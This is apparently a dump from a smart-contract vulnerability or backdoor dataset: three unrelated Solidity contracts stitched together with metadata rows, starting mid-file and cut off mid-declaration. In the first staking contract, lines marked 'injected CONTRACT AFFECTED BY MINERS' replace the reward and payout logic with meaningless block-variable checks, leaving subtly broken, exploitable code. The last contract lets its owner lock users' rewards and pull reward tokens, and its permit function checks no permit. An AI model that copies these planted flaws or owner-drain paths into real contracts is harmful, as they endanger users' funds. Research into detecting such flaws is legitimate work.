/ 2) + ((a % 2 + b % 2) / 2); } } // contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // interface ICoFiStakingRewards { // Views /// @dev Reward amount represents by per staking token function rewardPerToken() external view returns (uint256); /// @dev How many reward tokens a user has earned but not claimed at present /// @param account The target account /// @return The amount of reward tokens a user earned function earned(address account) external view returns (uint256); /// @dev How many reward tokens accrued recently /// @return The amount of reward tokens accrued recently function accrued() external view returns (uint256); /// @dev How many stakingToken (XToken) deposited into to this reward pool (staking pool) /// @return The total amount of XTokens deposited in this staking pool function totalSupply() external view returns (uint256); /// @dev How many stakingToken (XToken) deposited by the target account /// @param account The target account /// @return The total amount of XToken deposited in this staking pool function balanceOf(address account) external view returns (uint256); /// @dev Get the address of token for staking in this staking pool /// @return The staking token address function stakingToken() external view returns (address); /// @dev Get the address of token for rewards in this staking pool /// @return The rewards token address function rewardsToken() external view returns (address); // Mutative /// @dev Stake/Deposit into the reward pool (staking pool) /// @param amount The target amount function stake(uint256 amount) external; /// @dev Stake/Deposit into the reward pool (staking pool) for other account /// @param other The target account /// @param amount The target amount function stakeForOther(address other, uint256 amount) external; /// @dev Withdraw from the reward pool (staking pool), get the original tokens back /// @param amount The target amount function withdraw(uint256 amount) external; /// @dev Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() external; /// @dev Claim the reward the user earned function getReward() external; /// @dev Add ETH reward to the staking pool function addETHReward() external payable; /// @dev User exit the reward pool, it's actually withdraw and getReward function exit() external; // Events event Staked(address indexed user, uint256 amount); event StakedForOther(address indexed user, address indexed other, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event SavingWithdrawn(address indexed to, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } // interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; function balanceOf(address account) external view returns (uint); } // // Stake CoFi to earn ETH contract CoFiStakingRewards is ICoFiStakingRewards, ReentrancyGuard { using SafeMath for uint256; address public override immutable rewardsToken; // WETH, received from CoFiXPair, to reduce gas cost for each swap address public override immutable stakingToken; // CoFi address public governance; uint256 public dividendShare = 20; // 20% to CoFi holders as dividend, 80% to saving for buying back uint256 public pendingSavingAmount; uint256 public lastUpdateRewardsTokenBalance; // must refresh after each WETH balance change uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _rewardsToken, address _stakingToken) public { rewardsToken = _rewardsToken; stakingToken = _stakingToken; governance = msg.sender; } receive() external payable {} function totalSupply() external override view returns (uint256) { return _totalSupply; } function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } function rewardPerToken() public override view returns (uint256) { if (block.gaslimit == 0) { //injected CONTRACT AFFECTED BY MINERS // use the old rewardPerTokenStored // if not, the new accrued amount will never be distributed to anyone return rewardPerTokenStored; } return rewardPerTokenStored.add(accrued().mul(1e18).mul(dividendShare).div(_totalSupply).div(100)); } function _rewardPerTokenAndAccrued() internal view returns (uint256, uint256) { if (block.number == 0) { //injected CONTRACT AFFECTED BY MINERS // use the old rewardPerTokenStored, and accrued should be zero here // if not the new accrued amount will never be distributed to anyone return (rewardPerTokenStored, 0); } uint256 _accrued = accrued(); uint256 _rewardPerToken = rewardPerTokenStored.add(_accrued.mul(1e18).mul(dividendShare).div(_totalSupply).div(100) // 50% of accrued to CoFi holders as dividend); return (_rewardPerToken, _accrued); } function accrued() public override view returns (uint256) { // balance increment of WETH between the last update and now uint256 newest = IWETH(rewardsToken).balanceOf(address(this)); return newest.sub(lastUpdateRewardsTokenBalance); // lastest must be larger than lastUpdate } function earned(address account) public override view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); TransferHelper.safeTransferFrom(stakingToken, msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stakeForOther(address other, uint256 amount) external override nonReentrant updateReward(other) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[other] = _balances[other].add(amount); // be careful: caller should approve to zero after usage TransferHelper.safeTransferFrom(stakingToken, msg.sender, address(this), amount); emit StakedForOther(msg.sender, other, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TransferHelper.safeTransfer(stakingToken, msg.sender, amount); emit Withdrawn(msg.sender, amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() public override nonReentrant { uint256 amount = _balances[msg.sender]; require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = 0; rewards[msg.sender] = 0; TransferHelper.safeTransfer(stakingToken, msg.sender, amount); emit EmergencyWithdraw(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS rewards[msg.sender] = 0; // WETH balance decreased after this uint256 transferred = _safeWETHTransfer(msg.sender, reward); // must refresh WETH balance record after updating WETH balance // or lastUpdateRewardsTokenBalance could be less than the newest WETH balance in the next update lastUpdateRewardsTokenBalance = IWETH(rewardsToken).balanceOf(address(this)); emit RewardPaid(msg.sender, transferred); } } function addETHReward() external payable override { // no need to update reward here IWETH(rewardsToken).deposit{value: msg.value}(); // support for sending ETH for rewards } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } function setGovernance(address _new) external { require(msg.sender == governance, "CoFiStaking: !governance"); governance = _new; } function setDividendShare(uint256 share) external { require(msg.sender == governance, "CoFiStaking: !governance"); require(share <= 100, "CoFiStaking: invalid share setting"); dividendShare = share; } function withdrawSavingByGov(address _to, uint256 _amount) external nonReentrant { require(msg.sender == governance, "CoFiStaking: !governance"); pendingSavingAmount = pendingSavingAmount.sub(_amount); IWETH(rewardsToken).withdraw(_amount); TransferHelper.safeTransferETH(_to, _amount); // must refresh WETH balance record after updating WETH balance // or lastUpdateRewardsTokenBalance could be less than the newest WETH balance in the next update lastUpdateRewardsTokenBalance = IWETH(rewardsToken).balanceOf(address(this)); emit SavingWithdrawn(_to, _amount); } function _safeWETHTransfer(address _to, uint256 _amount) internal returns (uint256) { uint256 bal = IWETH(rewardsToken).balanceOf(address(this)); if (block.number > bal) { //injected CONTRACT AFFECTED BY MINERS _amount = bal; } // convert WETH to ETH, and send to `_to` IWETH(rewardsToken).withdraw(_amount); TransferHelper.safeTransferETH(_to, _amount); return _amount; } modifier updateReward(address account) { (uint256 _rewardPerToken, uint256 _accrued) = _rewardPerTokenAndAccrued(); rewardPerTokenStored = _rewardPerToken; if (block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS uint256 newSaving = _accrued.sub(_accrued.mul(dividendShare).div(100)); // left 80% pendingSavingAmount = pendingSavingAmount.add(newSaving); } // means it's the first update if (block.gaslimit != 0) { // we can use _accrued here too //injected CONTRACT AFFECTED BY MINERS lastUpdateRewardsTokenBalance = IWETH(rewardsToken).balanceOf(address(this)); } if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } event RewardAdded(address sender, uint256 reward); event Staked(address indexed user, uint256 amount); event StakedForOther(address indexed user, address indexed other, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event SavingWithdrawn(address indexed to, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); }
281,154
12,154
962536cc430eaec8322da3d0b0c6060655312222f95d6fd761c95dc8f8621fca
13,361
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0xe0a446f788eb37817984ba6398a2de7b85195932.sol
3,385
12,786
pragma solidity >=0.5.0 <0.6.0; /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return The adjusted transfer amount filtered by a specific token controller. function onTokenTransfer(address _from, address _to, uint _amount) public returns(uint); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return The adjusted approve amount filtered by a specific token controller. function onTokenApprove(address _owner, address _spender, uint _amount) public returns(uint); } contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote(bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax) anonymous; modifier note { bytes32 foo; bytes32 bar; uint256 wad; assembly { foo := calldataload(4) bar := calldataload(36) wad := callvalue } emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); _; } } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint _allowance); function transfer(address to, uint value) public returns (bool ok); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped, "ds-stop-is-stopped"); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract Managed { /// @notice The address of the manager is the only address that can call /// a function with this modifier modifier onlyManager { require(msg.sender == manager); _; } address public manager; constructor() public { manager = msg.sender;} /// @notice Changes the manager of the contract /// @param _newManager The new manager of the contract function changeManager(address _newManager) public onlyManager { manager = _newManager; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) view internal returns(bool) { uint size = 0; assembly { size := extcodesize(_addr) } return size > 0; } } contract ControllerManager is DSAuth { address[] public controllers; function addController(address _ctrl) public auth { require(_ctrl != address(0)); controllers.push(_ctrl); } function removeController(address _ctrl) public auth { for (uint idx = 0; idx < controllers.length; idx++) { if (controllers[idx] == _ctrl) { controllers[idx] = controllers[controllers.length - 1]; controllers.length -= 1; return; } } } // Return the adjusted transfer amount after being filtered by all token controllers. function onTransfer(address _from, address _to, uint _amount) public returns(uint) { uint adjustedAmount = _amount; for (uint i = 0; i < controllers.length; i++) { adjustedAmount = TokenController(controllers[i]).onTokenTransfer(_from, _to, adjustedAmount); require(adjustedAmount <= _amount, "TokenController-isnot-allowed-to-lift-transfer-amount"); if (adjustedAmount == 0) return 0; } return adjustedAmount; } // Return the adjusted approve amount after being filtered by all token controllers. function onApprove(address _owner, address _spender, uint _amount) public returns(uint) { uint adjustedAmount = _amount; for (uint i = 0; i < controllers.length; i++) { adjustedAmount = TokenController(controllers[i]).onTokenApprove(_owner, _spender, adjustedAmount); require(adjustedAmount <= _amount, "TokenController-isnot-allowed-to-lift-approve-amount"); if (adjustedAmount == 0) return 0; } return adjustedAmount; } } contract DOSToken is ERC20, DSMath, DSStop, Managed { string public constant name = 'DOS Network Token'; string public constant symbol = 'DOS'; uint256 public constant decimals = 18; uint256 private constant MAX_SUPPLY = 1e9 * 1e18; // 1 billion total supply uint256 private _supply = MAX_SUPPLY; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; constructor() public { _balances[msg.sender] = _supply; emit Transfer(address(0), msg.sender, _supply); } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { require(_balances[src] >= wad, "token-insufficient-balance"); // Adjust token transfer amount if necessary. if (isContract(manager)) { wad = ControllerManager(manager).onTransfer(src, dst, wad); require(wad > 0, "transfer-disabled-by-ControllerManager"); } if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) { require(_approvals[src][msg.sender] >= wad, "token-insufficient-approval"); _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(src, dst, wad); return true; } function approve(address guy) public stoppable returns (bool) { return approve(guy, uint(-1)); } function approve(address guy, uint wad) public stoppable returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_guy, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((wad == 0) || (_approvals[msg.sender][guy] == 0)); // Adjust token approve amount if necessary. if (isContract(manager)) { wad = ControllerManager(manager).onApprove(msg.sender, guy, wad); require(wad > 0, "approve-disabled-by-ControllerManager"); } _approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function burn(uint wad) public { burn(msg.sender, wad); } function mint(address guy, uint wad) public auth stoppable { _balances[guy] = add(_balances[guy], wad); _supply = add(_supply, wad); require(_supply <= MAX_SUPPLY, "Total supply overflow"); emit Transfer(address(0), guy, wad); } function burn(address guy, uint wad) public auth stoppable { if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) { require(_approvals[guy][msg.sender] >= wad, "token-insufficient-approval"); _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad); } require(_balances[guy] >= wad, "token-insufficient-balance"); _balances[guy] = sub(_balances[guy], wad); _supply = sub(_supply, wad); emit Transfer(guy, address(0), wad); } /// @notice Ether sent to this contract won't be returned, thank you. function () external payable {} /// @notice This method can be used by the owner to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token, address payable _dst) public auth { if (_token == address(0)) { _dst.transfer(address(this).balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(address(this)); token.transfer(_dst, balance); } }
146,982
12,155
76c12535f8e8b5fd2b54b7a07380b6d5f1b4a81c80ac39b775be5c97a0d49254
30,275
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TK/TKZxeRFHm1dEqwEdS6G2DQUYeBWbfbrG9F_StakingRewards.sol
5,270
21,048
//SourceUnit: Stakingrewards.sol pragma solidity 0.5.12; interface ITRC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract TRC20Detailed is ITRC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeTRC20 { using SafeMath for uint256; function safeTransfer(ITRC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ITRC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(ITRC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeTRC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ITRC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ITRC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(ITRC20 token, bytes memory data) private { // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(isContract(address(token)), "SafeTRC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeTRC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeTRC20: TRC20 operation did not succeed"); } } function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // Inheritance interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount, address ref) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract RewardsDistributionRecipient { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeTRC20 for ITRC20; ITRC20 public rewardsToken; ITRC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public totalstakeuser = 0; uint256 public rewardsDuration = 15 days; uint256 public fee = 2; uint256 public rewardpercentage = 15; uint256 public feeEarning; uint256 public started; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint public getduration; struct stakeInfo { uint totalStaked; uint totalunstaked; uint gainreward; uint referalreward; uint earnreferalreward; bool stake; address ref; bool rewardlock; bool referallock; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint) public depositFee; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => uint256) private _totalstaked; mapping (address => stakeInfo) public stakeInfos; constructor(address _rewardsDistribution, address _rewardsToken, address _stakingToken) public { rewardsToken = ITRC20(_rewardsToken); stakingToken = ITRC20(_stakingToken); rewardsDistribution = _rewardsDistribution; stakeInfo memory StakeInfo; StakeInfo = stakeInfo({ stake:true, totalStaked: 0, totalunstaked:0, gainreward:0, referalreward:0, earnreferalreward:0, ref:address(0), rewardlock:false, referallock:false }); stakeInfos[_rewardsDistribution] = StakeInfo; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)); } function calcRate(uint totalSupply) external view returns(uint256) { return rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(totalSupply)); } function earned(address account) public view returns (uint256) { //eee = 1; return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount , address referal) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); uint deposit_fee = amount.mul(fee)/100; depositFee[rewardsDistribution]+=deposit_fee; amount = amount.sub(deposit_fee); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount.add(deposit_fee)); if(stakeInfos[msg.sender].stake == true){ stakeInfos[msg.sender].totalStaked +=amount; totalstakeuser++; }else{ stakeInfo memory StakeInfo; StakeInfo = stakeInfo({ stake:true, totalStaked: stakeInfos[msg.sender].totalStaked.add(amount), totalunstaked:0, gainreward:0, referalreward:0, earnreferalreward:0, ref:referal, rewardlock:false, referallock:false }); stakeInfos[msg.sender] = StakeInfo; } emit Staked(msg.sender, amount); emit DepositFee(address(0), deposit_fee); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); stakeInfos[msg.sender].totalunstaked +=amount; emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0 && stakeInfos[msg.sender].rewardlock==false) { rewards[msg.sender] = 0; uint rewardamt = reward.mul(rewardpercentage)/100; uint amount = reward.sub(rewardamt); rewardsToken.safeTransfer(msg.sender, amount); address refaddr =stakeInfos[msg.sender].ref; if(refaddr!=address(0)){ rewardsToken.safeTransfer(refaddr, rewardamt); stakeInfos[refaddr].earnreferalreward+=rewardamt; }else{ rewardsToken.safeTransfer(rewardsDistribution, rewardamt); stakeInfos[rewardsDistribution].earnreferalreward+=rewardamt; } stakeInfos[msg.sender].gainreward +=amount; emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } function lockunlockreward(address lockaddress, bool lock) external onlyRewardsDistribution() { stakeInfos[lockaddress].rewardlock =lock; } function lockunlockreferal(address lockaddress, bool lock) external onlyRewardsDistribution() { stakeInfos[lockaddress].referallock =lock; } function changefee(uint256 amount) external onlyRewardsDistribution() { fee =amount; } function changereferalfee(uint256 amount) external onlyRewardsDistribution() { rewardpercentage =amount; } function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); uint256 blocktime= block.timestamp; lastUpdateTime =blocktime; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } function getRewardamount(address owneraddr, uint amount) external onlyRewardsDistribution updateReward(address(0)) { rewardsToken.safeTransfer(owneraddr,amount); } function getFeeWithdrawal(address _owner) external onlyRewardsDistribution { uint feeamount = depositFee[msg.sender]; stakingToken.safeTransfer(msg.sender, feeamount); feeEarning +=feeamount; depositFee[msg.sender]=0; emit FeeWithdrawal(msg.sender,feeamount); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event 